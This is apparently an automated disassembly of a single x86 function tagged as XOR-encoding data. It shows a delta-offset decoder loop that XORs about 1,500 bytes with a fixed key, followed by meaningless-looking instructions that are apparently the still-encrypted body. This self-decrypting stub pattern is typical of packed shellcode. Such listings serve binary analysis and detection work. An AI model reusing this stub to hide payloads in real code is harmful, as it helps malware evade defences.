Function at 0xde1110
Capabilities:
Encode data using xor

Disassembly:
movsd dword es:[edi], dword [esi]
push edx
neg ecx
cwde
mov ah, 0xf6
test byte [ebp - 0x15], ah
jmp 0xde111a
add byte [eax + 4], al
add byte [eax], al
pushal
call 0xde1120
jmp 0xde111a
pushal
call 0xde1120
pop ebp
sub ebp, 0x10
sub ebp, 0x9e1110
jmp 0xde1136
mov eax, 0x9e1110
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c2
mov edx, 0xe18f368
add eax, 0x68ba0000
sbb byte [esi], cl
xor byte [eax], dl
inc eax
dec ecx
jne 0xde114d
jmp 0xde1160
jecxz 0xde1107
jecxz 0xde1145
push esp
push 0xa9e96868
nop
push 0xa56b6868
shr byte [ebp + 0x68], 1
push 0x6840d268
push 0x6b8a9f68
mov al, byte [0x6864e9e3]
push 0x38ad6b68
in eax, 0xc
dec esp
xchg esp, eax
loope 0xde11f9
dec esp
add byte [eax + ebp*4 + 0x44006849], cl
cmp byte [eax + ebp*2], dl
imul eax, dword [esp + ecx*2], 0xdec9e30
sub byte [ebp + 0x68], 0x68
push 0x68685c81
push 0x944c0ce5
push 0x5c816868
push 0xce56868
dec esp
xchg esp, eax
loope 0xde11f4
dec esp
cmp al, 0x35
jecxz 0xde11a2
pushal
push 0xfde36868
push 0xe5e36868
js 0xde122b
push 0x6a81a968
pop ecx
push 0xffffffffffffffeb
stosb byte es:[edi], al
insb byte es:[edi], dx
and dword [edi - 0x13], esp
pushfd
xchg edi, eax
xchg edi, eax
xchg edi, eax
jecxz 0xde121a
dec esp
in eax, 0xc
dec esp
insb byte es:[edi], dx
stosb byte es:[edi], al
push 0x6c4ce4e3
push 0x8c006868
test al, 0x49
push 0x14384400
push 0xe54c4469
or al, 0x4c
dec esp
xchg esp, eax
loope 0xde125c
dec esp
sub byte [ebp + 0x68], 0x68
push 0x686a2f81
push 0x944c0ce5
push 0x4c0ce568
xchg esp, eax
loope 0xde124d
dec esp
in eax, 4
dec esp
push 0x97641d97
sbb eax, 0x681a8060
push 0x60d5e368
aad 0x60
push 0xa15b6868
jmp 0x10baf5c0
jb 0x81c9cc8c
insd dword es:[edi], dx
and byte [edi - 0x14], ah
push 0xe0676868
and byte [eax + 0x68], ch
push 0x5174e30e
call 0xed4592db
jb 0xde12b2
push 0x8193e868
in al, dx
jns 0xde12bb
xchg ebx, eax
and dword [edi - 0x14], 0x68686879
push cs
jmp 0x682ba9ee
push 0x93e90e68
xchg edi, eax
dec ebp
in al, dx
jge 0xde12c6
push 0xa4812968
xchg edi, eax
xchg edi, eax
xchg edi, eax
inc ecx
and al, 0x51
imul ebp, ebx, 0x80eb6da9
insb byte es:[edi], dx
adc ebp, 0x41979797
cmp al, 0x51
push 0xffffffffffffffeb
test eax, 0x6c82eb6e
jmp 0xde1201
push 0x3e84e33d
aas
cmp eax, 0xe3641de3
adc eax, 0xe8da9460
loop 0xde130a
jmp 0x69467c4f
imul ebp, dword [eax + 0x68], 0xe96fe068
scasd eax, dword es:[edi]
push 0xafe96fe0
imul ebp, dword [eax + 0x68], 0x686ad368
push 0x67ba6a68
mov edx, 0x686ded67
push 0x2e7ee268
jp 0xde1276
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xde1276
mov edx, 0x97b0eb67
jmp 0xde126f
xchg edi, eax
xchg edi, eax
xchg edi, eax
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xde1289
mov edx, 0x6802eb67
push 0x6aa85b68
mov edx, 0x686ded67
push 0x2e7ee268
jp 0xde129e
jmp 0xde12d4
push 0xba6aa85b
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xde129e
push 0x7a2e7ee2
mov edx, 0x6942eb67
push 0x67ba6a68
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xde12b1
jmp 0xde1329
jnp 0xde12a1
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xde12c0
jnp 0xde12b0
push 0xffffffffffffffba
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xde12cf
jnp 0xde12bf
push 0xffffffffffffffba
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xde12de
jnp 0xde12ce
in al, dx
outsb dx, byte [esi]
push 0xb7e36868
inc ebx
mov al, 0xe2
imul esp, eax, 0x6f
das
shr dword [edx + 0x68], cl
push 0x97188168
xchg edi, eax
xchg edi, eax
shr byte [ecx + 0x68], 1
push 0x67ba6a68
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xde130b
jnp 0xde12fb
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xde131a
ljmp 0xab43:0x979797b6